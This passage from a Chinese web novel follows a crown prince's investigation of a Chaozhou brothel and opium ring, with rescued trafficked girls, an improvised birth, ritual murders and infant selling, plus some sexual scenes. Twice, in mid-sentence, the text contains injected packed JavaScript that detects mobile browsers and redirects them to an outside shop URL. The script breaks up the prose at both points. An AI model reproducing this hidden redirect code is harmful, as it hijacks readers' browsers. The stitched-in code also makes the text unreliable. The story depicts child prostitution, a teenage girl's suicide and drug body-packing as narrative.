“我不会寻死。”崔鲲冷静道,“裴玉清因为一个贞节被泼了一身脏,最后用血还没洗干净。我再这么一死,所有人都会知道,只靠婊子两个字就能钉死全天下的女人。想这么空口白牙地杀我,他们是痴人说梦!” “他们想要我死,我偏要好好活着。他们觉得崔鲲立于朝堂之上使国家蒙污,那大梁朝廷这个独一无二的污点,我崔鹏英当定了。”崔鲲看向萧玠,一张脸如同静水,眼中却有光芒闪耀。 “裴玉清碎首,是走投无路。”她说,“殿下,我还不到走投无路的地步。” 萧玠深深望着她,许久方道:“鹏英,你是朝廷公职,我无权命令什么。但在私心里,我把你当成自己的姐姐。” 他像要再讲什么,到底只说:“你放心大胆地去。倘若事态艰难,你记得,你还有我。” 崔鲲笑了笑,双手捧住萧玠的脸替他擦拭,这一笑里很有不同于她平时爽朗的、独属于女孩家的温柔,“好好说着话,眼圈怎么还红了呢。好啦,陛下就算是派千里快马前来传旨,且还有好几日的时间,咱们得安排好这几日活儿怎么干。” 她坐回椅中,沉声道:“蜃楼所见,淫、赌、膏物盘根错节,其中有一则足以毁掉大梁根基,何况三者纠结一处?铲除这三类毒害,必须彻底,不容留情。但臣提醒殿下,今日揭发于臣只是一个开始,殿下要做好面对劲敌、甚至折断臂膀的打算。” 萧玠沉默片刻,道:“我还剩三年时间,亡命之徒而已。他们没我豁得出去。” 崔鲲眼皮一跳,缓缓道:“殿下也要记得,留得青山在。” 郑绥打断这个话题,“你这次回京,看看那封书信能不能查出踪迹。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618060|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那封举发汤惠峦南下潮州、但改换字体不曾落款的信。 崔鲲笑道:“所以说祸兮福兮,这次回京,只怕还能有些意外之喜。” 萧玠还是担心:“可如今这些流言……咱们怎么料理?” “不料理。”崔鲲道,“当官的私隐只是茶余饭后之谈。但如果是人命关天,老百姓只在乎为官者能不能为民做事。所以咱们现在要做的,就是好好处理这桩案子,静候陛下圣旨召还。” …… 事项议定,萧玠便由沈娑婆领回去吃药。崔鲲已将述职折子写好,抬头一看,郑绥竟还没走。 崔鲲问:“怎么了?” 郑绥有些僵硬,从怀里拿出个油纸包递给她。崔鲲打开一瞧,竟是块黄米蒸的桂花糕,想是因为被护在胸口,这么长时间竟还半温着。 崔鲲有些讶然,甚至有些惊恐,已听郑绥道:“早晨买多了,那糕饼已冷了,先吃这个。” 他顿了顿,又道:“我已经给母亲修书,如果崔家为难你,你就请她出面。再逼迫,还有皇后殿下。” 崔鲲握着糕,叹道:“是我对不住郑氏,也愧对杨夫人。我晓得她多盼着你成亲,也晓得你多不想成亲。” 郑绥呼吸静止一瞬,“你晓得。” 崔鲲颔首,“是。我不爱吃甜食,更不爱吃这么粘牙的甜食。” 郑绥一时无话,崔鲲轻轻喟道:“京中风浪已起,我反倒有所准备。可是潮州的水太浑了……郑绥,你还记得你向陛下起的誓言吗?” 南下之前,他和崔鲲入宫见驾。皇帝——他名义上的姨丈、萧玠的父亲——拉住他双手,低声、恳切地说,阿玠我拜托你,我一条命全拜托给你了。 郑绥看向崔鲲,向那日看向萧恒一样。 “你放心去,有我一日,定能替他杀第一刀,也能替他挨最后一刀。” *** 萧玠放下吃空的药碗,皱眉问:“在场众人没有一个是蜃楼的管事?” 前来回禀的尉迟松也十分不解,“臣用了些手段,看这些人的反应,不是假话。” 但蜃楼十层,来往人员怎么也有数百。若无人看顾,只怕黑膏早就被洗劫而空,更别说会不会惊动官府。蜃楼的东主就算是个愚人,也不会一个管事都不留。 这太不合常理了。 萧玠又问:“进入蜃楼需五十两金,寻常人家只能用女孩做抵,一手交人,方能入门。那这些被卖进来的女孩呢,也没有找到?” 尉迟松道:“是臣无能。” 先是汤惠峦,又是管事,如今还有这些女孩,竟在一场大火之中凭空消失。 萧玠道:“要不是知道这背后勾当,我都以为真的闹鬼。” 萧玠议事并不避着沈娑婆,因为雨天他还没出去采风,将萧玠的药碗收拾起来,道:“谁说不是?外头卫队埋伏,里头火又烧起来,除了会遁地之术,真不知道他们是怎么走脱的。” 他碗刚收回匣子,就听萧玠霍地起身,急声道:“遁地——有地道,甚至地下也有暗室!立即去找小郑将军,带上卫队,我和他再去蜃楼废墟!” 88.第 88 章 蜃楼地下果然通有暗道,只是被废墟掩埋,一时没有清理发现。 郑绥取过火把,先带龙武卫下去开路。萧玠守在暗道边,郑绥的脚步声离他越来越远,直至几乎难以闻察。 这短暂的安静十分难捱,萧玠有些坐立不安。突然,暗道里声音杂乱起来,紧接着传来郑绥的喊声:“殿下,这里有人,足有十几个女孩!” 萧玠接过油灯,也忙下了暗道。暗道通向一间房屋,如今已被龙武卫把守。火炬也无法照彻的黑暗里,十数女孩子抱成一团,惊恐地尖叫哭喊。 郑绥忙撤开步子,高声道:“众位娘子莫怕,我们是太子卫队,皇太子殿下亲至,特来救你们出去!如今蜃楼已被烧毁,管事逃窜,你们安全了!” 这些女孩形容不一,有的浓妆艳抹,看来已被强逼接客;有的蓬头乱服,想是新被卖来不久。渐渐,叫声平息,哭声四起,郑绥命众侍卫脱下披风,给女孩们作蔽体之用。萧玠也将外袍脱下,盖在一个只穿抹胸裙子的女孩肩上。 外袍尚未脱手,他便听那女孩呼痛一声,紧接着身体委顿下来。在她卧在地上的时候,蓬乱的裙子褶皱落下,凸显出她隆起的腹部。青灰色的裙摆之间,洇染开大片血迹。 “各位军爷救命!”女孩子们忙扑上前架住她,“阿萝,你怎么样?” 萧玠忙将阿萝抱在怀里,急声叫道:“随行的军医呢?” 尉迟松也急得满头大汗,“出来得急,军医还没赶到!” 萧玠叫道:“有没有会接生的?附近有没有稳婆?快骑马去找!” 尉迟松拔腿就跑,忙去叫人。阿萝叫声愈发凄厉,鲜血已将下裙彻底染红。但在场女孩年纪都轻,不知如何帮手,更别说龙武卫一众大老爷们。 “不能再等了,人快不成了。”郑绥当即站起来,“把披风堆起来,放她躺在上面。酒囊都解下来,以酒烧刀备用。众位娘子将她上身抱起来。殿下,臣带着灵参丸,先给她服下。其余众人举好火把,转身!” 萧玠忙从他腰间拽下荷包,将一枚鲜红药丸倒出来,合进女孩嘴里。郑绥从女孩面前蹲下,说:“阿萝娘子,事急从权,我懂些医术,可以给你接生。” 阿萝痛得脸色煞白,嘴里呜呜两声。郑绥当即半跪下来,将她裙摆上束,急声道:“两个人抓紧她的脚腕!不要叫,往下用力,给她咬块手巾!” 阿萝想必痛极,挣扎得厉害,几个女孩竟按不住她。萧玠也顾不得男女大防,忙上前按住她双脚,当即闻到一股极浓重的血腥气味。 他一时胸中气闷,见郑绥跪在她双腿之间,两手尽是鲜血。一瞬之间,萧玠突然恍惚。他像重新回到十七年前的一张血床,光影昏昧间竟分不清那是阿萝还是秦灼的脸。他按住的阿萝纤细的脚腕突然像秦灼坚硬的踝骨。女孩在手帕牙齿间挤出的呜咽,模糊遥远地像很多年前一个男人细细颤抖的低喝:现在开刀……现在开刀! 郑绥双手再次探入,悬空银刀终于落下。鲜血溅落,沿女孩大腿蜿蜒而下,像一条吸血蜈蚣。蜈蚣样的伤疤从肉里长出来,从膝盖钻出一直爬到脚腕……那是阿萝的腿吗?是秦灼的腿吗?那颤抖的少女的双腿和紧绷的男人的双腿有什么不同吗?那罗裙下的腹部和袍服下的腹部有什么不同吗?这条生命和他的生命有什么不同吗? 都是孽啊。 一片血色的混沌里,突然斩落一道雪白闪电,是一声细微的婴儿的啼哭。萧玠感觉那两双脚腕从他手底一松,他当即吓得大喊:“她怎么了,她是不是死了?” 郑绥道:“胸口起伏着,应当是力竭了。” 萧玠扭头,见郑绥也脱力地坐在地上,大口喘气,手里抱着一个浑身血污的孩子。 郑绥说:“没有剪子,刀拿酒烧好了,殿下,你把脐带割断。” 萧玠傀儡一样照他吩咐,提刀将那条带子割断,感觉在割一条去骨的手指。脐带断裂时,他也一下子跌坐地上。 郑绥拿自己的披风裹住孩子,道:“找个轿子,阿萝娘子和孩子不能受风。带所有人回公廨,备好饭食和干净衣裳,叫她们好好休息。” 这么一会,尉迟松也策马带回来稳婆,随轿一块走了。郑绥从自己衣摆上擦了手,搀扶萧玠起来。 萧玠问:“我刚刚没瞧真切,是女孩吗?” 郑绥道:“是女孩。” 萧玠道:“那么小一点。” 郑绥道:“这位阿萝娘子看上去,不过十四五岁。” 萧玠手臂颤抖着,骂道:“畜生!” 郑绥脸色铁青,抬手替他抚摩后背。萧玠抓紧他另一条手臂,气息一下长一下短,等有所平复,方问:“你怎么还会接生?” “军中多应急,看过些医术,从前家里的马下驹子,我也帮着搭过手。”郑绥道,“母亲生阿绥的时候,父亲不在家中,也是难产。” 萧玠道:“少来,你只比阿绥要大一岁,阿绥出生时你能记得什么?” 郑绥笑了笑:“听仆人讲的。”他握了握萧玠的手,问:“好些了吗?” “好些。刚刚我听见一句,是不是附近有新找到的尸首?咱们赶紧回,有正事要忙。” 萧玠从梯子底站住,抬头看向暗道口,有些疲乏地笑道:“绥郎,你先上去,我得叫你拉着。我腿真的软了。” *** 萧玠打开所有公廨厢房,供这些女孩暂时居身,由几个嫂子和郑绥进去送饭。约莫一个时辰后,郑绥赶去前堂。 前堂陈放新发掘的数具女尸,仵作裁割皮肉的迟滞声响起。萧玠坐在一旁,没有躲避。 他一见郑绥,忙快步迎上去,问:“如何?” 郑绥沉吟:“殿下记不记得,和李稻穗一起发现的另三具女尸?” 萧玠颔首,“其中有一具,腹内有遗存的黑膏。” “当时殿下和臣十分不解,如果罪犯是因行藏败露而杀人灭口,为什么不直接刺死,反倒用强灌阿芙蓉膏的法子。今天臣询问蜃楼娘子,倒有些明白了。”郑绥道,“这些娘子分为两类,一类作为暗娼,以收拢嫖客钱财,阿萝就是其中之一。她们并非固定于一时一地,而是由上头人看管各处流通,像王云楠一案,输送入京为高官取乐,这是走的暗处的途径。但还有一类,是由上面统一伪造籍贯文书,挟持流窜各地,为运膏之用。” “这些女孩手无缚鸡之力,如何运膏?” “陛下当政以来,严禁阿芙蓉流通,各地关隘检查更是严格,所以他们想出了这么一个歹毒的法子。”郑绥声音冰冷,“以鱼肠等材料制作肠袋,内存阿芙蓉、五石散、回神丹等禁物,让这些女子吞咽下去,等避过检查再通过排泄排出体外。但以身体为皿,一日之内禁食水,一旦肠袋在腹内破裂,必会中毒而死。” 郑绥顿一顿,“当日折冲府追缉将至,罪犯将李稻穗之内的四名女子杀害后,恐怕她们腹内的肠袋为官府所获,所以才破开四人腹部,将禁物取出。但其中一个女孩腹中肠袋已然破裂,致使中毒,所以在她胃部留下阿芙蓉膏的痕迹。” 萧玠张开嘴,却没能发出半点声音。郑绥手臂微抬,是随时搀扶他坐下的准备姿势。但萧玠没有再动,他也没有擅自上前。 片刻后,萧玠再度开口,感觉喉咙有些肿痛:“你说这些娘子分为两类——还有一类呢?” “还有一类,不在今日这些人里。”郑绥眉头微皱,“据里面几位娘子所说,她们被送进来的时候,居然先要验身。处子者单独拘押,再由人二次检查。” “检查什么?” “要给她们摸脉扎针,甚至摸骨,还要吃一枚丹药。”郑绥道,“据她们形容,小指大小,黑红色,味腥苦,吃完之后都会呕血。大多数人呕出黑血,被送回来,和非完璧的一块作为暗娼经营,有极个别的女孩呕出鲜血,便被领走。领走之后,再没有出现过。” 萧玠皱紧眉头。 看来蜃楼还要专门挑选一些符合某种条件的处子,他们的目的何在? 仵作这时放下刀剪,脱下手套,问:“将军刚刚说到,被倒卖的娘子里专有一些处女?” 萧玠和郑绥一对视,忙走上前去,“有什么发现吗?” 仵作神情凝重:“今日这几具尸首,皆是处女。而且尸身都有一个共同特征。” 仵作揭开尸布,萧玠随他的手指看去,尸首左胸处已被剖开,几根胸骨也已经折断。 “她们的左胸被打开,心脏的几根大经络也被切断,切口非常整齐。从心脏颜色和刀口切割来看,她们应当是在濒死之际,由人开胸放了心血。” 萧玠脑中一响,喃喃道:“濒死之际?” 仵作面露不忍,“是,这几具尸首全身上下只有左胸一处创口,只怕是……凶犯为了保证血液新鲜,活活剖心取血。” 萧玠一个踉跄,全靠郑绥眼疾手快架住他才没有倒地,一低头,眼泪已扑簌簌落下。郑绥要劝,他已狠狠擦了几把脸,牙齿仍上下磕碰着:“取处子的心血……心血能用来干什么?入药,巫蛊,还是青春永葆?” “手段残忍,目的混沌,断是邪术。”郑绥咬紧后牙,扶萧玠在椅中坐下。萧玠猛地抓住他,问:“她们有没有见到蜃楼的管事,有没有追查到相关人的行迹?” 郑绥道:“这就是臣要禀奏的另一件事。尉迟将军带人沿地道探查,发现尽头通向郊外一座荒庙。据众娘子所述,蜃楼焚烧之夜,有一众管事自此而出,其中夹杂一个年轻郎君,按形容衣着,应当是汤惠峦无疑。” “我现在就给陛下修书。”萧玠霍地站起来,“让此等罪人立于朝堂,我有何颜面再见天下百姓?” 他尚未迈开步子,已经生生停住,喃喃道:“对,汤惠峦才走一日,现在还追得上……不能等召还的圣旨了,我这就写信,让鹏英携此立即返京,最好能抢在汤惠峦之前进宫面圣!若能抢占先机,就能牵制他们下一步行动,就算以欺君罪论她的女儿身,如此也算将功折罪!” 萧玠看向郑绥,“但在崔家……” “我已经托付母亲,请她多多照应。”郑绥顿一顿,“我们商议过,暂时不会和离。” 萧玠颔首,“如果和离,她就成了所谓的‘弃妇’,不光群臣要撕碎她,只怕崔家也容不得她了。鹏英虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622394|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不惧人言,但还是不要授人口舌之柄。等这事平息,你们再和离,以后你再娶妻,若怕说不清楚,叫我来,我同嫂夫人解释。” 郑绥一直平静,直到最后几句,眼睑突然颤动两下,到底没说什么,只应是。 既如此,萧玠立即修书让崔鲲携带,又派一支龙武卫队护送她返京。夕阳之下,空气微红透亮,潮州城宛如漂浮羊水之上。崔鲲束好包袱翻身上马,形状姣好的眼睛却射出剑锋般的光芒。她没有多说什么,用力握了握萧玠的手,目光又递到郑绥眼中,得到他回应的郑重。接着,西风中抽响一声马鞭,白马四蹄飞动,震开滚滚红尘。 山雨欲来风满楼,这血浆般沉重的空气已然昭示,崔鲲将孤身面对一场怎样的腥风血雨,而她举起马鞭,像她无数次举起献策之笔、判官之笔、代天所握的生杀之笔一样,对整个长安城展开一场绝地的冲锋。 经过安抚,女孩们情绪渐渐稳定下来,也有家人登公廨前来认领。一时间哭声震天,闻者落泪。阿萝父母也来认女,只是阿萝刚刚生产,无法行走,便由郑绥将她抱上轿去,专程送回家中。 连日忙乱,萧玠已然耗尽精力,一回屋,见沈娑婆坐在床边拨弦,心窝里蓦地涌出暖意,轻轻叫:“七郎。” 沈娑婆放下琵琶,向他张开手臂,笑道:“看把我们累的。” 萧玠从床边脱下鞋,卧在他膝上,问:“你今日去忙什么了?” “还在改曲子。两人剖心那一场,所有丝竹都不要了,就让他们静静地说话。”他手中拂开萧玠颊畔碎发,轻轻别到耳后,“臣和那园子主人讲好了价钱,明天就去摘梨子,后天给殿下熬梨膏吃。” 他声音轻柔地,萧玠只觉浑身松下来,迷迷糊糊道:“怎样都好……你陪着我,怎样都好。” 等再睁眼,屋中已燃烛火,屋外昏黑一片。沈娑婆仍叫他枕着膝盖,一手轻轻拍打他,一手拿一卷乐谱在看。萧玠一动,沈娑婆便察觉,微笑道:“醒了?” 萧玠犹带鼻音,唔了一声,“做了个梦。” 沈娑婆问:“梦见什么?” 萧玠笑了笑:“梦见变成了一棵树,就是院子里那棵老梅树。这几年常做这种怪梦。” 沈娑婆笑道:“这有什么怪的,臣从前还梦见,自己是殿下宫里那棵梨树呢。不是一家人,不进一家门罢了。” 说了几句,萧玠便要起身,“你腿是不是麻了?” 沈娑婆笑道:“若是这就麻了,以后叫殿下坐臣身上,臣半截身子岂不是废了。” 萧玠刚醒过来还有些混沌,愣了一会才反应过其中的狎昵意味,脸上红晕如同沁血,急道:“青天白日,你乱说什么呀!” 沈娑婆轻轻捏住他下颌,扭过他脸冲门外,笑道:“殿下瞧瞧这天是青天白日么,是良宵苦短呢。” 他见萧玠往后已缩,安抚道:“同殿下说笑话呢,这些日累成这样,臣总不能这时候犯上。” 灯火暧暧的,萧玠一颗心也有些酸软。沈娑婆抚摸他半边脸颊,此情此景,手指的克制便成了欲迎还拒的引诱。萧玠呼吸有些急促,抬手抱住他的后颈。 沈娑婆犹笑道:“干什么?” 但凡有些神智,或不到情急的地步,闺阁之事萧玠总是耻于开口。沈娑婆也不急,不知其意般,半抬着脸含笑看他。 每次沈娑婆调笑,萧玠总感觉身体化成一股饧糖,那样子连自己都没脸去认。但他若故作冷漠,萧玠一颗心又委屈的厉害。他搂紧沈娑婆亲上去时,心中响起一个人溺到水底的咕咚之声。他是让沈娑婆吃死了。自从玉陷园之后,沈娑婆每一次的抚慰和亲吻都像錾记,让他但凡再见这个人,肌肤和身体便叫嚣着要亲密。沈娑婆拧着他有关情卝欲的钥匙,只要他手指微微一动,萧玠就能在他面前丑态百出。爱情里的丑态,其实是两具□□的羽化。爱情能让西施浪作□□,也能叫无盐美若貂蝉。气氛暧昧时,沈娑婆甚至一个眼神就能叫萧玠沉于欲海,更何况,他还有回应。 沈娑婆吮他的舌尖,一手捏着他脊背,一手隔着亵裤。只一下,萧玠就险些呜咽出声,却被唇舌占口,只牵一缕津液出来。不多久,床榻硌楞硌楞微微响动,帐子扇起微风细细,烛火随之轻轻跳动。 沈娑婆亲了亲萧玠汗湿的额头,擦了擦手,拍了拍萧玠屁股,道:“去换条裤子。” 萧玠这时候格外黏人,仍双臂搂着他,哑声说:“想直接洗澡。” “洗不得。”沈娑婆笑道,“殿下睡着时,小郑将军来过一趟,看起来有要事商议。这时辰,应当再过来了。” 说着,他抬眼看向屋外,声音没有刻意压低,笑着说:“幸亏没同你胡闹,不然除了臣,殿下要被多少人瞧光了。” 那个雨夜从眼前一闪,萧玠一个哆嗦,几欲干呕。 这是他的心病,就算调情,沈娑婆怎么会说这样的话?他怎么会拿这样的话刺他? 萧玠渐渐从那恍惚中回神,扭头,先从竹帘外看到一双穿靴的脚。 看见那人低颈垂首的姿态时,萧玠突然想,天色居然这么暗了,不然郑绥的脸色怎会如此阴晦不明? 89.第 89 章 一盏茶后,萧玠更换衣衫毕,去前堂再见郑绥。刚打起帘子,便听见一道婴儿啼哭。 郑绥坐在榻边,怀抱襁褓轻轻拍打。萧玠分辨出襁褓花色,诧异道:“是阿萝娘子的孩子?怎么又抱了回来?” 郑绥手臂仍轻轻晃着,道:“阿萝被逼为娼,又未婚生子,我怕这孩子被遗弃路边叫野狗叼去,送阿萝到家后多等了小半个时辰。天刚刚擦黑,阿萝之父便提了一只竹篮出了门。” 萧玠立刻问:“那篮中装着孩子?” 郑绥颔首,“那孩子哭了两声,我觉得古怪,就一路跟着。他没走大道,走小路直至郊外,到了赤衣江上游。” “他把孩子扔进江里?” “这才是古怪之处。”郑绥看着他,“他折了两片鲜荷叶,垫在婴儿身下,又在篮子手上系了两道黑布条。做完这些,才连人带篮放进江中。” 萧玠问:“难道他心存不忍,不是杀婴,只是抛弃?” 若要杀婴,直接抛入江中了事。放入竹篮顺流而下,若非遇见浪头暗流,孩子很有可能不会沉没。 “臣本是如此揣测,但荷叶黑布之事又太过异常,更像某种记号。臣便跟着竹篮,一直追到中游。这时候天色已晚,又将到险滩,臣怕孩子出事,刚要出手,便见竹篮被人捞了上来。” 随着郑绥拍打,女婴哭声渐止,似乎睡了过去。郑绥将襁褓放下,低声道:“那人没有撑船,竟是踩水将竹篮捞起来。腿脚功夫了得,是顶尖的轻功。臣心中生疑,出手阻拦,他便同臣缠斗起来,也动用了兵器,是一对峨眉短刺。招式极其狠毒,绝非寻常武人。中间他应当是认出臣的身份,没有恋战,臣怕孩子出事,也没有继续追捕。” 萧玠问:“有没有看见他的脸?” 郑绥道:“此人没有障面,所以臣猜测,他在脸上做过伪饰。” 萧玠沉吟:“这么看来,倒像阿萝之父通过江流的方式,专门将孩子交到此人手中。” 太过蹊跷。 萧玠道:“我叫人先看顾着,咱们去阿萝家走一趟。” 四月将末,春夜也不甚寒凉,萧玠也去了披风。他刚要认镫上马,便听郑绥问:“要不要坐车?” 萧玠当即明白他所指何事,也不知他看去多少,忙搪塞道:“没事。” 所幸一路上郑绥也没再过问,二人快马加鞭,叩开阿萝家门时尚未至中夜。里头几声犬吠后,阿萝父亲骂骂咧咧地开门:“去去去,深更半夜,没有饼子舍给你们!” 一瞧见萧玠,老父眼睛一下子睁圆,惊道:“太子殿下?” 郑绥道:“殿下有要事询问,还请开门。” 阿萝父喜笑颜开,忙打开竹门,边冲里喊道:“她娘,别忙活了,快来拜见,太子殿下驾到了!” 夫妇两个忙把二人迎进屋,又要去唤阿萝,萧玠阻止:“娘子生产不易,好好将养身子为上。” 又瞧瞧屋里,故意问:“怎么没见着孩子?” 阿萝父同其母对视一眼,强笑道:“没奶,她姑家里有能挤奶的母羊,便送过去养着。” 郑绥冷声道:“娘子的姑母家住赤衣江,同龙王打交道吗?” 阿萝父母霎时大惊,支支吾吾间,已听萧玠道:“欺我如同欺君,你们还不知罪?” 夫妇两个匆忙跪倒,连连磕头,突然听哗啦一响,竟是阿萝将里屋帘子打起来。 她倚着门,头发蓬乱,仍梳着在室女的双鬟,一张脸小而苍白,一缕两缕的红晕浮在脸颊,像一缕两缕的血丝淀在浆水里。她冷静道:“是我叫爹扔江里去的。” 萧玠张了张嘴,阿萝一双大眼睛已经闪向他,幽幽道:“若不是我没有力气,非要亲手把她掐死了事!这个杂种……我要杀了她,我要杀了她!我凭什么要留着她,你们知道我过的是什么日子吗!不就是淹死一个孽障,死了才好,死了两厢干净!” 她凄厉地叫喊起来,阿萝娘扑上去,抱住她连连落泪。阿萝泪流满面,却倔强地不肯合眼,狠狠剜着萧玠。萧玠有些受不住那样痛恨的目光,脚步有些松动,被郑绥在身后一把扶住。 郑绥看着阿萝,道:“娘子,我并没有说你父淹死了那个孩子。或者说,他根本没有杀死孩子的打算。” 阿萝一怔。 郑绥看向其父:“取婴儿的是什么人,他为什么不登门来抱孩子,非让你用如此凶险的法子?” 阿萝父脸色一变,瘫软在地,低声道:“将军饶命,我也是叫猪油糊了心。前几年又下了暴雨,虽然没有饥荒,但到底也紧了口粮,生了孩子也很难养得活。但那时候突然有人出来收孩子,一个刚出生的孩子一锭银。我们起初也不信,但真有人换了钱回来,那时候养不活的孩子如何也是个死,还不如……” 郑绥沉声问:“这交易在潮州有好几年?” “是,是……将军问我东家,我实在不知道。他们从不会与卖家见面,都是由我们拿竹筐,把孩子放到赤衣江里头……” “不见面,如何约定时间,他们又如何把银子给你们?” “从前是把门户住址写好字条,放到盛孩子的竹篮里。等孩子送完,第二日窗子下就会放好银子。”阿萝父失声哭道,“我左右想着,这是个孽障,摔死了费事,还不如换些钱来……” 郑绥半晌不语,又问:“近几日还有人要做这买卖吗?” 阿萝父想了想,“有,有,隔门的老罗家,儿媳妇新生了女娃,也准备放了去。” “那就劳烦带路。”郑绥看一眼萧玠,“殿下现在要见他。” *** 三日后的清晨,老罗赤衣江放婴。郑绥率龙武卫跟随,却无功而返。 郑绥回来时过晌午,对萧玠道:“竹篮漂到下游,依旧无人打捞。再往前就到险滩,臣怕出事,就把孩子捞了上来。看样子,是他们得了消息,知道有诈,有所防备。” 萧玠蹙眉,“但此计并无外人知晓,是如何走漏消息?” 沈娑婆也陪着他等消息,沉思片刻,“上次阿萝的女儿叫郑将军劫下来,他们估计有所防备,这几日不敢轻易行动。” 萧玠沉吟片刻,正要开口,一名金吾卫已快步入门,面有难色,“殿下,阿萝父母又哭上了公廨,闹得不少人旁观,说……” 郑绥问:“说什么?” 金吾卫咬一咬牙:“说您和小郑将军看了她女儿身子,要您二位里怎么出一个,纳了阿萝娘子!” 公廨外人群拥堵,那对夫妻哭天抢地,一见萧玠,便扑上前抱住他双腿,哭道:“殿下和将军替她接生救她一命,我们一家子千恩万谢,但请殿下救人救到底送佛送上西,把她纳了吧!殿下看过了她,再不要她,天底下哪里有人再敢纳她呀!” 两夫妇放开嗓门大哭起来,萧玠一时无法,只得道:“两位,我实在没法娶阿萝。” 阿萝父忙道:“不是娶,咱们平头百姓不敢妄想,殿下就让她做个婢妾,伺候梳洗打扫,给她个安身之地……” “我若如此纳了娘子,才是真正羞辱娘子。”萧玠顿了顿,“我有心上人。” 阿萝母忙道:“她草一样的命,不敢跟娘娘争!” “不是娘娘。”萧玠道,“是个郎君。” 堂中像一块巨石砸落,轰然寂静下来。 崔鲲女身传言一出,小郑献妻甚至自己同太子苟且的流言也四散开来。阿萝娘双眼圆睁,忍不住去瞧郑绥,“是……” “不是郑将军。”萧玠低声道,“我若喜欢女孩儿,要我负责也就负责,但我这个样子,若要纳她,更是害她。” “殿下怎会害她!”阿萝父忙道,“咱不指望殿下喜欢她,给她留条活路给口饭就成了!” “哪怕她独守空房,年轻守寡吗?”萧玠痛声道,“她才十四岁,花一样的年纪,逃离魔窟还有大好的青春!” 阿萝父叫道:“青春?殿下,闺女从那里出来,都知道她是个脏了的人,哪来什么青春!殿下再不要她,是逼她去死啊!” “你觉得女儿脏了,就要塞给殿下。你把殿下当什么了。”郑绥声音冰冷,“潮州,把殿下当什么了。” 这句话分量太重,压得满堂人膝盖骨哆嗦两声。郑绥脸上的温和之气全然褪却,变成萧玠陌生的、属于军人的杀伐之色。他对上阿萝父的眼睛,说:“不要看我,我家中有妻。我有妻一日,不会再纳一人。内子的事各位多有议论,今日我只说一次。不管她是欺君斩首还是罪不掩功,我都不会跟她和离。陛下不罚,我等她朝堂相见,陛下要杀,我和她共赴黄泉。这就是我对此事的交待,各位听清楚了吗?” 萧玠心软好被拿捏,但郑绥若硬起来,却是刀枪不入的一块铁板,这些无赖行径对他起不了任何效用。有他一番威压,阿萝父母悻悻离去,众人也就散了。 他送萧玠回院,萧玠笑了笑:“还是你有主意,若只我自己,怕没那么容易收场。” 郑绥道:“殿下心慈。” 萧玠见他脸色微霁,笑道:“瞧你一番慷慨陈词,莫不是真对鹏英上了心思?不然不再和离一事,怎么答应得这么果断,压根没想过之后婚娶?” 郑绥竟稍有些尴尬,道:“殿下就别打趣臣了。” 萧玠只以为他是赧意,也没有揪着不放,道:“今日阿萝父母这么一闹,其实让我想起另一件事。有关这个孩子,阿萝如果要抛弃她的确违反律条,可……这孩子对她来说不是女儿,是孽障和耻辱。她想抹杀这个耻辱有什么不对,她怎么能赔上这辈子,把被人奸污生下的孩子抚养长大?” 郑绥了然:“但是。” 萧玠笑容有些苍白,“是,但是——但是稚子无辜。脱了娘胎,她就是个人,世上没有人能按自己的喜恶杀人。这样就彻底乱了。” 他顿一顿,说:“绥郎,我有个想法。” “二十年前阿爹征战西塞,带去的潮州营几乎全部战死,家中妇孺无人看顾,阿爹便建了育孤园。”萧玠仰头看着郑绥,“我想把这事重拾起来,由州府出钱,把那些弃婴一起收养,照样教他们读书识字。不止潮州,全天下的鳏寡孤独都有所依所养,等到那天,才是我敢说是天下太平的一天。” 郑绥默然片刻,“殿下仁善,此举功德无量。” 萧玠笑了笑:“不是仁善,相反,我这一年见了这些事,居然更信人性本恶。所以我更觉得,抚养和教育何其重要。” 他喃喃道:“没人能决定自己怎么出生,但我希望有一天,他们能决定自己怎么活。” 今日无雨,天空放晴,天光澄明,映得萧玠脸若暖玉。郑绥注目他良久,也举头看向青天,缓慢、坚定地道:“臣会辅佐殿下,一起开创那一天。” *** 蜃楼一案中,所涉女子悉数医治返家,若有不愿归家的,便经州府联系,介绍去纺织铺子里做工。但那个薄命的女孩子阿萝却在父母闹上公廨当晚踢凳子上了吊,萧玠不放心将女婴还其父母,便一直留在身边抚养。 一切有条不紊,除了案件本身。龙武卫追查半月竟一无所获,经营者全部逃之夭夭,除了几条零星线索,竟未能再有定论。 萧玠一面追查,一面效仿萧恒,对阿芙蓉交易再次严打,也开始开办戒膏司。但膏客大多瘾入膏肓,州府的戒膏手段并没有起到很大效果。案情裹足不前,雨天也缠绵起来。 雨眼瞧着下大,沈娑婆也不再出门,正好将新一茬梨膏熬出来。加过红枣姜丝一起熬煮后,梨汁橙红透亮,甜香满溢屋中。熬好的梨汁等着放凉装罐,这一会的空闲,他便抱琵琶拨弦。曲调轻灵雀跃 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等他完全覆在萧玠后背时,枕巾已经被萧玠的涕泪洇湿一片,连声叫道:“不是……是你……我都听你的,你别生气……” 沈娑婆撑起些身子,问:“都听我的?” 萧玠仍喃喃:“你别生气。” 沈娑婆撑头看他一会,笑了一声,道:“好,那殿下,掀开被子。” 萧玠迟疑一下,还是将被子掀开。 沈娑婆道:“转过去,跪着。” 萧玠有些屈辱地看他,小声哀求:“七郎。” 沈娑婆仍倚着枕看他,笑道:“不是说,都听我的吗?” 